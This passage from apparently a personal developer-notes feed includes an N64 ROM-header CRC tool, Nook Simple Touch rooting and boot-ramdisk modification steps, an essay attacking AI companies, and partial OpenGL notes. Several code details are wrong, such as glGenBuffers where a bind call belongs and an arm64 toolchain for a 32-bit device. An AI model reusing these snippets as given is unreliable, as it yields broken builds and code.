    0x00, 0x40, 0x04, 0x00, 0x40, 0x02, 0x00, 0x10,
    0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x00, 0x07,
    0x00, 0xc6, 0x08, 0x08, 0x80, 0x24, 0x31, 0x42,
    0x4a, 0x22, 0x51, 0x22, 0x89, 0x22, 0x36, 0x10,
    0x02, 0x40, 0x21, 0x86, 0x03, 0xc0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

// src/main.c

#include &lt;getopt.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;


#include &quot;types.h&quot;
#include &quot;bootdata.c&quot;

#define CHECKSUM_START  0x00001000
#define CHECKSUM_LENGTH 0x00100000

#define MAX(A,B) (A) &lt; (B) ? (B) : (A)

typedef struct Bytes {
    u8 *data;
    size_t len;
} Bytes;

typedef struct Checksum {
    union {
        u64 crc;
        u8 data[8];
    };
} Checksum;

Bytes
read_file(FILE *file) {
    Bytes bytes = {0};

    // Get file length.
    fseek(file, 0, SEEK_END);
    bytes.len = ftell(file);
    bytes.len = MAX(bytes.len, CHECKSUM_START + CHECKSUM_LENGTH);

    // Allocate memory, ensuring we have a minimum size for checksum purposes.
    bytes.data = calloc(1, bytes.len);

    // Copy file contents to memory.
    fseek(file, 0, SEEK_SET);
    fread(bytes.data, 1, bytes.len, file);
    return bytes;
}

u32
read_big_endian(u8 *data) {
    return (data[3] &lt;&lt;  0) |
           (data[2] &lt;&lt;  8) |
           (data[1] &lt;&lt; 16) |
           (data[0] &lt;&lt; 24);
}

u32
rol(u32 x, u32 n) {
    return (x &lt;&lt; n) | (x &gt;&gt; (32 - n));
}

Checksum
calculate_crc(Bytes bytes) {
    Checksum checksum = {0};
    u32 t1 = 0xF8CA4DDC;
    u32 t2 = 0xF8CA4DDC;
    u32 t3 = 0xF8CA4DDC;
    u32 t4 = 0xF8CA4DDC;
    u32 t5 = 0xF8CA4DDC;
    u32 t6 = 0xF8CA4DDC;
    for (size_t i = CHECKSUM_START; i &lt; (CHECKSUM_START + CHECKSUM_LENGTH); i += 4) {
        u32 num = read_big_endian(&amp;bytes.data[i]);
        if ((t6 + num) &lt; t6) {
            t4++;
        }
        t6 += num;
        t3 ^= num;
        u32 r = rol(num, (num &amp; 0x1F));
        t5 += r;
        if (t2 &gt; num) {
            t2 ^= r;
        } else {
            t2 ^= t6 ^ num;
        }
        t1 += t5 ^ num;
    }
    u64 upper = t5 ^ t2 ^ t1;
    u64 lower = t6 ^ t4 ^ t3;
    upper = read_big_endian((u8*)&amp;upper);
    lower = read_big_endian((u8*)&amp;lower);
    checksum.crc = upper &lt;&lt; 32 | lower;
    return checksum;
}

void
print_usage(void) {
    printf(&quot;Usage: %s [options] &lt;filename&gt;\n&quot;, BIN_NAME);
    printf(&quot;\n&quot;);
    printf(&quot;\t-o &lt;out_file.c&gt; Path to the output file. If blank, stdout will be used.\n&quot;);
    printf(&quot;\t-v              Verbose.\n&quot;);
    printf(&quot;\t-h              Prints usage.\n&quot;);
    printf(&quot;\n&quot;);
}

int main(int argc, char *argv[]) {
    FILE *in_file  = stdin;
    FILE *out_file = stdout;
    char *in_file_path  = NULL;
    char *out_file_path = NULL;
    bool verbose = false;

    // Handle arguments and flags.
    int option;
    while ((option = getopt(argc, argv, &quot;hvo:&quot;)) != -1) {
        switch (option) {
            case &#39;h&#39;: {
                print_usage();
                return EXIT_SUCCESS;
            } break;
            case &#39;o&#39;: {
                out_file_path = optarg;
            } break;
            case &#39;v&#39;: {
                verbose = true;
            } break;
            default: {
                print_usage();
                return EXIT_FAILURE;
            } break;
        }
    }
    in_file_path = argv[optind];

    // Open source file.
    if (in_file_path == NULL) {
        in_file = stdin;
    } else {
        in_file = fopen(in_file_path, &quot;rb&quot;);
        if (in_file == NULL) {
            fprintf(stderr, &quot;%s: can&#39;t open input file: %s\n&quot;,
                    BIN_NAME, in_file_path);
            return EXIT_FAILURE;
        }
    }

    // Open destination file.
    if (out_file_path == NULL) {
        out_file = stdout;
    } else {
        out_file = fopen(out_file_path, &quot;wb&quot;);
        if (out_file == NULL) {
            fprintf(stderr, &quot;%s: can&#39;t open output file: %s\n&quot;,
                    BIN_NAME, out_file_path);
            return EXIT_FAILURE;
        }
    }

    // Read source file into memory.
    Bytes bytes = read_file(in_file);

    // Write bootdata at offset 0x40 of dst file.
    memcpy(bytes.data + 0x40, bootdata, sizeof(bootdata));

    // Calculate CRC after bootdata was added on the dst file.
    Checksum checksum = calculate_crc(bytes);
    if (verbose) {
        printf(&quot;Checksum: 0x%02X%02X%02X%02X%02X%02X%02X%02X\n&quot;,
                checksum.data[0],
                checksum.data[1],
                checksum.data[2],
                checksum.data[3],
                checksum.data[4],
                checksum.data[5],
                checksum.data[6],
                checksum.data[7]);
    }

    // Write crc bytes at 0x10 offset on the dst file.
    memcpy(bytes.data + 0x10, checksum.data, 8 * sizeof(u8));

    // Save the output file.
    fwrite(bytes.data, 1, bytes.len, out_file);

    // Cleanup.
    if (in_file != stdin) {
        fclose(in_file);
    }
    if (out_file != stdout) {
        fclose(out_file);
    }
    return EXIT_SUCCESS;
}

// Makefile
.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_MAIN    := $(SRC_DIR)/main.c
SRC_OBJ     :=
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) -name &quot;*.c&quot; -or -name &quot;*.s&quot; -or -name &quot;*.h&quot;)
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := makerom
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += -DBIN_NAME=\&quot;$(TARGET)\&quot;
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BIN)

# Compile and link everything in one go.
$(BIN): $(SRC_MAIN) $(OBJECTS) $(WATCH_SRC) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(SRC_MAIN) $(OBJECTS) $(LDLIBS)

# Run the program
run: $(BIN)
    ./$(BIN)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $&lt; -o $@</code></pre>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://docs.google.com/document/d/1qYI4qtBr2r3S3nyUNwtQOT3Tgef9WZL9sof7f5wkQ8A/mobilebasic">N64
                    Big Sticky</a></li>
                    <li><a href="https://n64.dev/">Awesome N64
                    Development</a></li>
                    <li><a
                    href="http://n64devkit.square7.ch/pro-man/index.htm">N64
                    Programming Manual</a></li>
                    <li><a
                    href="https://github.com/rasky/r64emu/blob/master/doc/rsp.md">RSP
                    hardware architecture</a></li>
                    <li><a
                    href="http://n64devkit.square7.ch/kantan/step2/index.htm">A
                    guide to N64 programming</a></li>
                    <li><a
                    href="https://www.moria.us/tags/nintendo-64">N64
                    Homebrew articles by moria.us</a></li>
                    <li><a
                    href="http://en64.shoutwiki.com/wiki/N64_Memory">En64
                    Memory</a></li>
                    <li><a
                    href="https://www.retroreversing.com/n64bootcode">N64
                    Boot Code Analysis</a></li>
                    <li><a
                    href="https://n64brew.dev/wiki/Main_Page">N64brew
                    wiki</a></li>
                    <li><a href="http://en64.shoutwiki.com/wiki/ROM">N64
                    ROM breakdown</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Nook Simple Touch (NST)</title>
            <link href="https://badd10de.dev//notes/nook-simple-touch.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/nook-simple-touch.html</id>
            <updated>2026-06-16T09:49:22Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="hardware">Hardware</h2>
                    <ul>
                    <li>CPU: 32bit TI OMAP 3621 (ARMv7, ARM Cortext-A8).
                    800MHz</li>
                    <li>RAM: 256 MB</li>
                    <li>Storage: 2GB + microSD</li>
                    <li>Display: 6in, 600x800 @ 167 PPI (eink)
                    ED060SCE(LF)C1, touchscreen.</li>
                    <li>Power: 3.7V, 5.66 Wh (1530 mAh).</li>
                    <li>Stock OS: Android 2.1</li>
                    <li>Model number: BNRV300</li>
                    </ul>
                    <h2 id="rooting">Rooting</h2>
                    <p>You probably want to have your device rooted and
                    the process is really quite easy. Essentially you
                    only have to burn <code>NookManager</code> to an sd
                    card (I use <code>dd</code> for this). If you insert
                    the SD card into your Nook and turn it on it will
                    boot into the NookManager application. Continue
                    without wifi, do a backup and click root. The backup
                    will take a while so go make a coffee or something.
                    It will not let you root if you didn’t do the
                    backup, at least it was like that for me.</p>
                    <p>My firmware was <code>1.2.2</code> which isn’t
                    compatible with the original image, but someone
                    updated it. I’ve linked both versions below. The
                    only hurdle I had here was due to a faulty SD card,
                    which was booting NookManager but never completed
                    the backup. After switching it up it worked just
                    fine.</p>
                    <ul>
                    <li><a
                    href="https://forum.xda-developers.com/t/root-nookmanager-graphical-rooter-for-1-2-x-and-beyond.2040351/">Easy
                    rooting with NookManager</a></li>
                    <li><a
                    href="https://forum.xda-developers.com/t/nst-g-updating-nookmanager-for-fw-1-2-2.3873048/">NookManager
                    for firmware 1.2.2</a></li>
                    <li><a
                    href="https://forum.xda-developers.com/t/nst-manual-rooting-adb-gapps-1-1-etc.1380400/">Manual
                    rooting for NST</a></li>
                    </ul>
                    <h2 id="mounting-the-boot-partition">Mounting the
                    boot partition</h2>
                    <p>If we want to extract or modify the boot
                    partition from a running device, we need to have
                    root access. The following commands work once we
                    access an <a
                    href="https://developer.android.com/studio/command-line/adb">adb</a>
                    shell (<code>adb shell</code>).</p>
                    <pre><code>mount -o rw,remount rootfs /
mkdir /boot
mount -t vfat /dev/block/mmcblk0p1 /boot</code></pre>
                    <p>This will mount the boot partition into a folder
                    that we can access through the shell. Of course once
                    can always dump the entire partition into an image
                    and pull it via adb:</p>
                    <pre><code># on an ADB shell:

dd if=/dev/block/mmcblk0p1 of=path-to-img bs=1M

# on your computer

adb pull path-to-img .</code></pre>
                    <ul>
                    <li>Source: <a
                    href="https://web.archive.org/web/20140830100416/http://nookdevs.com:80/Nook_Simple_Touch_mounting_the_boot_partition">NST
                    mounting the boot partition</a></li>
                    </ul>
                    <h2 id="uramdisk-hacking">Uramdisk hacking</h2>
                    <p>The boot process for the NST uses <a
                    href="https://wiki.st.com/stm32mpu/wiki/U-Boot_overview">U-boot</a>,
                    which loads a ramdisk image to perform the system
                    initialization. By modifying the ramdisk, we can
                    gain control of what gets run on initialization, so
                    for example we can just launch whatever program we
                    want and avoid launching the Dalvik VM (Zygote). My
                    understanding of this process is a bit basic still,
                    so treat these notes with a pinch of salt.</p>
                    <p>In a Linux system we need to follow the following
                    steps to modify the uramdisk. Note that
                    <code>sudo</code> is important to preserve root
                    permissions in the ramdisk files.</p>
                    <pre><code># Use dd to strip the image header
dd bs=1 skip=64 if=uramdisk.img of=uramdisk-no-header.img
# Use zcat/gzip to expand the contents
zcat uramdisk-no-header.img &gt; uramdisk-uncompressed.img
# Use cpio to separate it into files
mkdir ramdisk
cd ramdisk
sudo cpio -i --no-absolute-filenames &lt; ../uramdisk-uncompressed.img
# Edit what you want in init.rc
# ...
# Use cpio to combine the files and gzip to compress the contents
shopt -s dotglob
sudo find . | sudo cpio -H newc -o | gzip &gt; ../uramdisk.cpio.gz
# Use mkimage to wrap the contents
mkimage -A arm -O linux -T ramdisk -n &quot;Initial Ram Disk&quot; -d ../uramdisk.cpio.gz ../uramdisk.img.new</code></pre>
                    <p>Unfortunately, at the moment this doesn’t fully
                    seem to work for me. I suspect the
                    <code>mkimage</code> command is the one creating
                    problems, so for now I am using the Windows <a
                    href="https://www.temblast.com/imgutil.htm">imgutil</a>
                    with <code>wine</code>, which does the trick. I’ll
                    revisit this in the future if I figured out the
                    solution.</p>
                    <p>With <code>imgutil</code> we can extract and
                    modify the <code>init.rc</code> file that controls
                    the programs run during initialization.</p>
                    <pre><code>wine imgutil uramdisk /x /v init.rc
vim init.rc
wine imgutil uramdisk /r /v init.rc</code></pre>
                    <h3 id="other-resources">Other resources</h3>
                    <ul>
                    <li><a
                    href="https://boundarydevices.com/hacking-ram-disks/">Hacking
                    ram disks</a></li>
                    <li><a
                    href="https://forum.xda-developers.com/t/modifying-uramdisk-bootutil.1777182/">XDA
                    forum: modifying uramdisk with imgutil</a></li>
                    <li><a
                    href="https://github.com/drewbug/nst-notes/blob/master/README.md">Notes
                    on NST by drewbug</a></li>
                    <li><a
                    href="https://elinux.org/Android_Booting">Android
                    booting (elinux)</a></li>
                    <li><a
                    href="https://android.googlesource.com/platform/system/core/+/master/init/README.md">The
                    Android Init Language</a></li>
                    <li><a
                    href="https://hechao.li/2021/12/20/Boot-Raspberry-Pi-4-Using-uboot-and-Initramfs/">Boot
                    a Raspberry Pi 4 using u-boot and Initramfs</a></li>
                    <li><a
                    href="https://www.linkedin.com/pulse/how-u-boot-loads-linux-kernel-praveen-singh/">How
                    U-boot loads Linux Kernel?</a></li>
                    </ul>
                    <h2 id="running-arbitrary-code-on-the-nook">Running
                    arbitrary code on the Nook</h2>
                    <p>If you have access to an <code>adb</code> shell,
                    you can already run programs or commands in your
                    Nook. For example try the following commands:</p>
                    <pre><code>adb shell
# cat /dev/urandom &gt; /dev/graphics/fb0</code></pre>
                    <p>This should fill your screen with some random
                    noise, but if you interact with the device (by using
                    the home button for example) the original
                    applications will appear on top of your beautiful
                    noise. We can stop the Dalvik VM with the shell
                    command <code>stop</code>, at which point you have
                    exclusive access to the machine resources (other
                    than the rest of running processes of course, but
                    this should be fine). If you used
                    <code>NookManager</code> for rooting you can now
                    write <code>sh</code> compatible shell scripts or
                    run native ARMv7 compatible code, which we will
                    discuss soon.</p>
                    <p>To make development easier, I just modified the
                    <code>NookManager</code> ramdisk to avoid running
                    any operations, having a clean slate to work with
                    while my SD card is on. If I want to access the
                    regular Nook OS, I just remove the SD and reboot the
                    device. Magic!</p>
                    <h2 id="native-programming">Native programming</h2>
                    <p>On the NST we can runk 32-bit ELF-LSB executables
                    compiled for ARMv7, but unfortunately the process
                    can be a bit painful. I’ve found that recent
                    versions of the Android NDK or GCC/clang compilers
                    don’t work on the NST, they segfault even with a
                    simple hello world or a program that just returns
                    <code>0</code>.</p>
                    <p>Luckily we can still find some older NDK versions
                    in the interwebs. Older Android NDKs also want you
                    to create a standalone toolchain. The following will
                    take care of that, and of course feel free to change
                    the intall directory to wherever you want.</p>
                    <pre><code>curl -O http://dl.google.com/android/repository/android-ndk-r12b-linux-x86_64.zip
unzip android-ndk-r12b-linux-x86_64.zip
sudo ./android-ndk-r12b/build/tools/make-standalone-toolchain.sh --arch=arm64 --install-dir=/opt/android-ndk-nst</code></pre>
                    <p>Now you can cross compile C code with GCC go nuts
                    and try a hello world why don’t ya!</p>
                    <pre><code>/opt/android-ndk-nst/bin/arm-linux-androideabi-gcc hello.c -o hello
adb push hello /tmp/hello
adb shell
# cd /tmp
# ./hello
Hello world!</code></pre>
                    <p>Note that it is possible that the NST doesn’t
                    have all features you come to expect from the
                    standard library or system headers. But you can make
                    use of <code>linux/fb.h</code> and
                    <code>linux/input.h</code> which will come in handy.
                    In general try to have as few dependencies as
                    possible to avoid headaches.</p>
                    <p>The framebuffer is located at
                    <code>/dev/graphics/fb0</code> and is a 16bpp
                    display, so if you have 32-bit RGBA colors, you may
                    want to convert them to rgb565 like so:</p>
                    <pre><code>u16
rgb565(u32 rgba) {
    u16 r = (rgba &gt;&gt; 16  &amp; 0xFF);
    u16 g = (rgba &gt;&gt; 8   &amp; 0xFF);
    u16 b = (rgba &gt;&gt; 0   &amp; 0xFF);
    r = r &gt;&gt; 3;
    g = g &gt;&gt; 2;
    b = b &gt;&gt; 3;
    return (r &lt;&lt; 11) | (g &lt;&lt; 5) | b;
}</code></pre>
                    <p>When working with the Linux framebuffer device, I
                    like to MMAP it so that I can just write to it with
                    something like <code>fb[idx] = color</code>. In a
                    regular PC, this will update the screen immediately,
                    but this is not the case on the NST. As a workaround
                    we can perform a <code>write</code> syscall with 0
                    bytes whenever we want, which will trigger the
                    screen update.</p>
                    <pre><code>int fb = open(&quot;/dev/graphics/fb0&quot;, O_RDWR);
write(fb, &quot;0&quot;, 0);</code></pre>
                    <p>Similarly, if we want to perform a full screen
                    refresh to clear potential e-ink ghosting, we can
                    write to
                    <code>/sys/class/graphics/fb0/epd_refresh</code> as
                    follows:</p>
                    <pre><code>int refresh = open(&quot;/sys/class/graphics/fb0/epd_refresh&quot;, O_RDWR);
write(refresh, &quot;1&quot;, 1);</code></pre>
                    <p>You can handle inputs as you normally would with
                    <code>input.h</code>. Considering the following
                    mapping of I/O devices.</p>
                    <ul>
                    <li>Side buttons:
                    <code>/dev/input/event0</code></li>
                    <li>Home and power buttons:
                    <code>/dev/input/event1</code></li>
                    <li>Touchscreen: <code>/dev/input/event2</code></li>
                    </ul>
                    <h3 id="other-resources-1">Other resources</h3>
                    <ul>
                    <li><a
                    href="http://nickdesaulniers.github.io/blog/2016/07/01/android-cli/">Cross
                    Compiling C/C++ for Android</a></li>
                    <li><a
                    href="http://orbitalfruit.blogspot.com/2016/12/nook-simple-touch.html">Nook
                    Simple Touch</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // On Tools and the Normalization of
Evil</title>
            <link href="https://badd10de.dev//notes/on-tools-and-the-normalization-of-evil.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/on-tools-and-the-normalization-of-evil.html</id>
            <updated>2026-06-16T09:49:22Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>The act of creation requires a struggle, some
                    energy transfer from one system into another. The
                    struggle itself has it’s own power and can often
                    leave a mark into oneself at the same time creation
                    is taking place. Entropy, an unstable system, a
                    fight against inertia, is creation a product of a
                    disordered system or a rebellion against it?</p>
                    <p>A piece of chalk on a blackboard creates a small
                    amount of heat as the friction is taking place, part
                    of the chalk goes to the ground, part of it stays on
                    the board. The chalk required energy to move,
                    perhaps a person holding it, moving muscles that are
                    themselves a different system, with a different
                    energy balance. The brain chooses which words to
                    etch into the board, the body executes the action.
                    The universe is big, complicated and marvellous,
                    with many systems interacting in awe inspiring
                    dances. We can use physics to measure heat exchange
                    and calculate motion angles, but the mind, the soul
                    and the realm of ideas are a bit harder (if not
                    impossible) to quantify or even define in an
                    unequivocal way. We can measure information, how
                    many bits it takes to go through a channel, how many
                    they arrive on the other end, but measuring is not
                    understanding, for that itself is an abstract
                    thing.</p>
                    <p>As I write these words, I’m letting my mind
                    wonder, trying to connect one thought into another,
                    trying to express a lot of complex feelings that
                    have been on my mind lately, trying to be
                    entertaining, trying to be educational, trying to
                    tell a story. This takes effort, focus, intent, and
                    yet the result of it may not be entirely what I
                    expected, I may not be able to communicate my ideas
                    clearly or it may just be boring and uninteresting
                    to read. My intent as a writer may be
                    misinterpreted, but this could itself be an act of
                    creation, where new ideas are formed in the mind of
                    the reader. Was that my creation or was it theirs?
                    Does it matter?</p>
                    <p>The act of learning requires a struggle, some
                    energy transfer from one system into another. When
                    it comes to information, the parallels are clear,
                    where engaging with the product of an act of
                    creation is itself a transformative experience. The
                    chalk on the blackboard may write words,
                    information, it may even have some artistry to it,
                    an expression of the writer aesthetic calligraphic
                    sensibilities. You may write it a thousand times and
                    it will never be the same, your muscles will tire,
                    the chalk will waste away, and your mind will itself
                    be changed by it, perhaps wondering why the hell are
                    you writing something that many times. The
                    information itself is meaningless, just data on a
                    blackboard, but reading the words, admiring the
                    shapes and absorbing the information makes our
                    brains create ideas of our own. It can make us feel
                    things, making us curious, fearful, or even
                    hopeful.</p>
                    <p>Computers are pretty useful tools. Very intricate
                    pieces of machinery devised by many brilliant minds,
                    of many different backgrounds, manufactured in a
                    variety of places using a lot of different
                    materials. A big difference with other, simple
                    tools, like a hammer, is that computers can be
                    programmed to perform an assortment of different
                    tasks. Unless you printed this document or wrote it
                    by hand somewhere (perhaps on a blackboard?) odds
                    are you are using one right now! Wonderful things
                    they are, we can use them to watch movies, read
                    books, or perform creations of our own! We can use
                    them to deceive people, we can use them to oppress
                    people, we can use them to kill people. Computers
                    are pretty useful tools.</p>
                    <p>While computers can be used for many beautiful
                    and useful things, they can also be used for evil
                    things of unimaginable scale. Because of their
                    malleability, it’s not always so straightforward as
                    to when computers are being used for nefarious
                    purposes, and in fairness, ethics on what
                    constitutes an evil action are also not clear cut
                    and may vary from person to person. I hope, dear
                    reader, that at least we can agree that consent is
                    non-negotiable, that murder is bad and that
                    deceiving people for personal gain should at the
                    very least be frowned upon. While one could argue
                    that a hammer and a gun could both kill, doing so
                    would make you an absolute moron. The scale and
                    difference in capabilities is so very obvious that
                    not seeing it is just being disingenuous. The power
                    and versatility of computers and technologies
                    created with their aid amplify the scale and
                    potential harm they can cause, and we ought to be
                    aware of this fact if we want to minimize the
                    negative impact of these creations.</p>
                    <p>Another key difference between a hammer and a
                    computer, is that while they are both tools that can
                    be used to make other tools, the former requires
                    materials in the physical world to do so while the
                    later operates on more abstract terms. Computers
                    interact with the external world using peripherals
                    like keyboards, speakers and screens, but also
                    interact with other computers if connected in the
                    network. All that computers do is transform data
                    from one format into another. They are both the
                    chalk and the blackboard. They, however, do not
                    struggle, they do not feel and most certainly they
                    do not learn.</p>
                    <p>On February 28, 2026, the US decided to bomb
                    Iran, resulting in the killing of, among others, 170
                    people, most of them kids between seven and twelve
                    years old, as one tomahawk missile hit a girls’
                    school. People responsible for the attack blame
                    “outdated data”, and there will likely be no
                    consequences for any of the decision-makers. No
                    responsibility taken for the horrific acts that
                    resulted from these actions. Data, information does
                    not have any meaning until we assign one to it. We
                    can’t blame the computers that performed the
                    calculations or that stored the data, but we can
                    point at the people that wrote that targeting
                    software, the people that selected the target and
                    those who made the decision to launch the attack. In
                    this campaign, the US is making extensive usage of
                    AI models from Anthropic and OpenAI to assist
                    military leaders select targets and make strategic
                    decisions.</p>
                    <p>Large Language Models (LLMs) and “Artificial
                    Intelligence” (AI) took the world by storm in the
                    past 4-5 years. The resulting models are able to
                    produce impressive pieces of plausibly looking human
                    text, uncanny images and even some music. Give it
                    some local context and models can now sustain
                    conversations, providing the illusion of having
                    another person on the other end. Information, data,
                    being transformed by the machine, meaningless on its
                    own, is interpreted by people, leading to folks to
                    anthropomorphize LLMs and in some cases to
                    delusions, psychosis and/or suicide.</p>
                    <p>The AI gold rush is causing the largest companies
                    on the planet to push it into every single computer
                    product and commodity in existence. Smaller players
                    see the excitement around it and think they will be
                    left behind if they don’t jump in as well, and thus,
                    it’s being crammed into every company with the
                    premise of saving time and increasing productivity.
                    While there is some pushback against it, notably
                    from the arts, the technology is being normalized as
                    being just another tool we can use in a variety of
                    contexts. It can help you write emails, make
                    presentations, code proof of concept applications,
                    and even selecting military targets. How fun, how
                    productive.</p>
                    <p>To create these LLM models, the entire internet
                    was and is being scrapped, without any
                    considerations for consent. This is true for the
                    models of large corporations as well as the
                    so-called open models. It’s simply impossible to
                    have chatbots that perform as well as they do
                    without mind-bending amounts of training data. If
                    you ever put any kind of content out on the
                    internet, there is a high likelihood that it has
                    been used to train AI models. Our data is in these
                    models, our art, our writing, our code. All without
                    regard for the wishes of the authors or the licenses
                    ascribed to the work. The scale of theft is unreal,
                    if one person or company plagiarizes something,
                    lawsuits and court filings often ensue, or at the
                    very least some reputational damage to the
                    perpetrators, but not for Anthropic or OpenAI, not
                    for Google or Microsoft, they steal from all of us
                    and then they sell our work back to us. They want to
                    keep us dumb and uneducated, they want us to rely on
                    them. Learning is power, learning is resistance,
                    knowledge provides independence.</p>
                    <p>There are so many angles one could criticise the
                    wrongdoings of AI companies that it’s difficult to
                    engage with all of them. I haven’t even mentioned
                    yet the large ecological impact, the economic
                    degradation caused by the bubble, the rise in price
                    of commodities and computer hardware, the loss of
                    expertise and domain knowledge, the confidently
                    wrong hallucinations, the overburden of public
                    infrastructure and open source projects, the fact
                    that they sell your information for targeted
                    advertisement, that they facilitate having access to
                    massive disinformation machines, the toll they take
                    on the education and academic systems… Shall I go
                    on? It’s just too much, and so overwhelming, all the
                    time. I don’t think I’m educated enough to provide
                    proper criticism to all of these topics, and I
                    certainly don’t have the energy for it. Moreover,
                    the lack of accountability in the damage these tools
                    cause makes my head spin.</p>
                    <p>Anthropic claims to have ethics, they themselves
                    anthropomorphize Claude, their tool, <a
                    href="https://www.anthropic.com/constitution">even
                    writing a “Constitution”</a> for their very good
                    boy, claiming they want it to be “broadly safe” and
                    “broadly ethical”. They are selling their tool as if
                    it was a person, and folks are deceived by this
                    vision, believing this to be true. Don’t be misled,
                    chatbots are just data, information, tools that can
                    transform inputs and output, but they do not feel,
                    they do not think, and they do not want to help you.
                    The companies behind these tools are unethical on
                    many levels, they are creating things that cause
                    real harm for folks all around the world and they
                    are complicit of massive theft and the murder of
                    innocent people.</p>
                    <p>Some people advocate for these tools because
                    productivity gains can be a net good for humanity.
                    But we are already being incredibly productive, so
                    much so that we are constantly moving faster that we
                    have the ability to understand the consequences of
                    our actions. To this day, we are still dealing with
                    the impact of social media in our society. Just like
                    shooting a gun into a wall is faster than a drill
                    making a hole, do we really need to normalize the
                    usage of harmful tools, even when they have the
                    potential for faster iteration cycles? Why does
                    everything need to be fast? Sometimes it’s enough to
                    just take your time, consider your choices, and make
                    informed decisions based on that. Sometimes it’s ok
                    to miss a deadline, time is limited and there is
                    only so much we can do when we try to do things the
                    right way. Sometimes it’s ok to fail, to learn from
                    our mistakes and let those inform our future
                    decisions.</p>
                    <p>I’m not saying you are a bad person if you use
                    these tools, but you need to at least acknowledge
                    the damage they are causing. If you choose to use
                    them out of your own volition, and not forced by
                    your employer or some other major force, you need to
                    consider the cost of the tool you use and you need
                    to take responsibility for its output. It hurts to
                    see the lack of critical thinking in so many people,
                    in folks that I used to hold in high regard. Is the
                    performance boost worth it? Is it worth it? Do you
                    think it’s a net positive in the world? Don’t you
                    think that removing the “struggle” is also taking
                    something away from you, the opportunity to learn,
                    the satisfaction of mastery? Don’t you think it’s
                    taking away from your own voice, mistakes and
                    all?</p>
                    <p>Even though I don’t eat meat, I still indulge
                    into some cheese from time to time, which is itself
                    a product of an industry that causes very real
                    environmental damage and that treats living beings
                    as disposable things. Nobody is perfect, and we can
                    all aspire to improve and to be more consistent with
                    our principles and values. We can try to educate
                    others so that they can ponder these questions and
                    make their own decisions. And most importantly, we
                    can try to inspire others by creating things of our
                    own, with our own minds, with our own hands and
                    hearts. A better world is possible and I refuse to
                    fall into doomerism, and to think that the evils in
                    the world are inevitable.</p>
                    <p>Fight, think, make something beautiful, make
                    something sad, something meaningful to you,
                    something fun. Keep learning, keep creating.</p>
                    <p>Fuck AI.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // OpenGL Programming</title>
            <link href="https://badd10de.dev//notes/opengl-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/opengl-programming.html</id>
            <updated>2026-06-16T09:49:23Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="buffer-objects">Buffer objects</h2>
                    <h3 id="vertex-array-objects-vao">Vertex Array
                    Objects (VAO)</h3>
                    <p>Contain attribute pointer information for a
                    number of VBO and a single EBO.</p>
                    <p>When a VAO is bound, all vertex attribute calls
                    will be stored in it, which means that we can
                    quickly restore vertex attributes parameters to
                    configure VBO and EBO. With this, we can quickly
                    swich different vertex data and attributes by just
                    binding a different VAO.</p>
                    <h3 id="vertex-buffer-objects-vbo">Vertex Buffer
                    Objects (VBO)</h3>
                    <p>Contain information that will be passed to the
                    vertex shader. Normally we would like to send vertex
                    positions, as well as color information or UV
                    coordinates to be used for a given vertex.</p>
                    <p>The VBO is just a buffer of raw memory, to
                    interpret the contents in the buffer, we need the
                    vertex attributes
                    <code>glVertexAttribPointer</code>. Vertex
                    attributes contain information about the size of the
                    elements in the buffer, the number of elements per
                    vertex, the type and the stride of those elements.
                    OpenGL guarantees that per shader we can have at
                    least 16 4-dimensional vertex attributes
                    (<code>16 * 4 * sizeof(float)</code>). Some hardware
                    might allow for more, and if so you can query this
                    with:
                    <code>glGetIntegerv(GL_MAX_VERTEX_ATTRIBS, &amp;n_vertex_attribs);</code></p>
                    <h3 id="element-buffer-objects-ebo">Element Buffer
                    Objects (EBO)</h3>
                    <p>Using EBO, we can index vertices in a VBO to
                    remove redundant vertices and extra overhead.</p>
                    <ul>
                    <li>Create with
                    <code>glGenBuffers(1, &amp;EBO)</code></li>
                    <li>Bind with
                    <code>glGenBuffers(GL_ELEMENT_ARRAY_BUFFER, EBO)</code></li>
                    <li>Send index data with
                    <code>glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(indices), indices, GL_STATIC_DRAW)</code></li>
                    <li>Draw with
